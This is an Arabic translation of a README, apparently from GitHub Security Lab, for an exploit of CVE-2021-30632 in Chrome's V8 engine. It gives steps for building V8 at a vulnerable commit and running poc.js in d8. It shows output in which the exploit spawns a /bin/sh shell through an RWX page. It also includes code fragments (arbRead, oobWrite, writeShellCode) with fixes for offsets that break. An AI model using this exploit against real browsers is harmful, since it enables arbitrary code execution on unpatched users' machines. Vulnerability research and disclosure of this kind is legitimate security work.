paulsery/cve-2021-30632m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632
من: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632
يمكن العثور على تحليل هذه الثغرة هنا. هذه ثغرة في كروم تم الإبلاغ عنها من قبل باحث مجهول ويعتقد أنه تم استغلالها في البرية.
تم اختبار الاستغلال هنا على إصدار v8 9.3.345.16 (الالتزام 632e6e7)، وهو الإصدار الذي تم شحنه مع Chrome 93.0.4577.63، الإصدار الذي يسبق إصلاح الثغرة، على Ubuntu 20.04. لم أختبره على Chrome نفسه.
للاختبار، قم بسحب v8 عند الالتزام 632e6e7 وقم بتجميعه بالإعدادات الافتراضية باستخدام tools/dev/gm.py x64.release. ثم افتح الملف poc.js باستخدام d8:
./d8 poc.js
على Ubuntu 20.04، يجب أن يستدعي execve("/bin/sh") لتوليد عملية جديدة:
./d8 poc.js
instance: 81d42dd
elements: 804abd9
rwx page address: 22c70c88b000
intArray addr: 8105d79
intBackingStore: 56498ceb25e0
$
قد يحتاج كود الشل إلى تغيير على المنصات الأخرى.
الاستغلال موثوق جدًا، ومع ذلك، أثناء الاختبار، لاحظت أن بعض الإزاحات تبدو حساسة للتغييرات الصغيرة في الملف (حتى إضافة التعليقات قد تسبب مشكلة)، مما يتسبب في فشل الاستغلال. يحدث هذا فقط عندما يتم تعديل الملف ويتجلى عادةً بقيم غير صالحة للعناوين، على سبيل المثال:
instance: 81d42dd
elements: 800222d
rwx page address: 3ff199999999999a
intArray addr: 81067e1
intBackingStore: 3ff199999999999a
في المثال أعلاه، عنوان صفحة rwx و initBackingStore غير صحيحين بوضوح. يبدو أن السبب الجذري هو قيمة مخزن elements غير صحيحة. (800222d ليست قيمة صالحة) يمكن إصلاح ذلك عادةً بتغيير الأسطر التالية المتعلقة بعنوان elements:
function arbRead(addr) {
[elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr));
return writeArr[0];
}
...
function writeShellCode(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
var intArrAddr = addrOf(intArr);
console.log("intArray addr: " + intArrAddr.toString(16));
var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
...
}
...
var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];
هذا، مع ذلك، لا يؤثر على موثوقية الاستغلال لأن الإزاحات تكون مستقرة طالما أن الملف ثابت، لكنه قد يسبب مشاكل إذا تم تعديل poc. لا أعرف ما يسبب هذا، ولكن يمكن على الأرجح جعل الاستغلال أكثر متانة ضد ذلك عن طريق مطابقة الأنماط في الذاكرة بدلاً من الاعتماد على إزاحات ثابتة.